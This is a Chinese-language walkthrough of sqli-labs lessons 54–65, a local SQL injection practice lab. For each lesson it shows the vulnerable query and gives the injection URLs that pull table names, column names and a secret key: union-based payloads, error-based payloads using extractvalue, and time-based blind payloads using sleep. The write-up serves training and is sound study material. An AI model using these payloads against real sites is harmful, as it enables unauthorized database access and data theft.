这几关主要是针对前面知识进行巩固,进行注入,要求注出secret_key,每关的注入次数有限,超过会重置相应的数据库记录(表名和密码强制进行更换)。
观察源码:
sql语句为
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
题目已经告诉我们数据库的名称叫做challenges,所有我们要
1、先注出表名
http://127.0.0.1/sqli-labs-master/Less-54/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
http://127.0.0.1/sqli-labs-master/Less-54/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='4zizrpu1n0'--+
http://127.0.0.1/sqli-labs-master/Less-54/?id=-1'union select 1,2,secret_BI5U from 4zizrpu1n0--+
观察源码
sql语句为
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
1、先注出表名
http://127.0.0.1/sqli-labs-master/Less-55/?id=-1)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
http://127.0.0.1/sqli-labs-master/Less-54/?id=-1)union select 1,2,group_concat(column_name) from information_schema.columns where table_name='a6ewhqca7j'--+
http://127.0.0.1/sqli-labs-master/Less-55/?id=-1)union select 1,2,secret_CPU1 from a6ewhqca7j--+
参考Less-56、57即可
观察源码
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
我们尝试下了union注入发现没有返回数据,我们可以使用报错注入
1、爆表
http://127.0.0.1/sqli-labs-master/Less-58/?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
2、爆表的列
http://127.0.0.1/sqli-labs-master/Less-58/?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='cpu1gf78a3'),0x7e))--+
http://127.0.0.1/sqli-labs-master/Less-58/?id=-1'union select extractvalue(1,concat(0x7e,(select secret_OLYZ from cpu1gf78a3),0x7e))--+
4、提交secret_key即可
Less-59~61与less-58题基本一样,就是id的处理不同,其他都一样
观察源码可以知道,union和报错注入无效(尝试下也可以知道),
sql语句为
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
从高光的这句话中可以看出,我们可以尝试130次,那么我们使用延时注入。
这边就举个例子,其余的大家自行发挥
http://127.0.0.1/sqli-labs-master/Less-62/?id=1)and if(ascii(substr((select group_concat(tablle_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
当正确的时候时间很短,当错误的时候时间大于 10 秒,
参考Less-62,
注意less-65的id的处理,less-65的id处理为?id=1")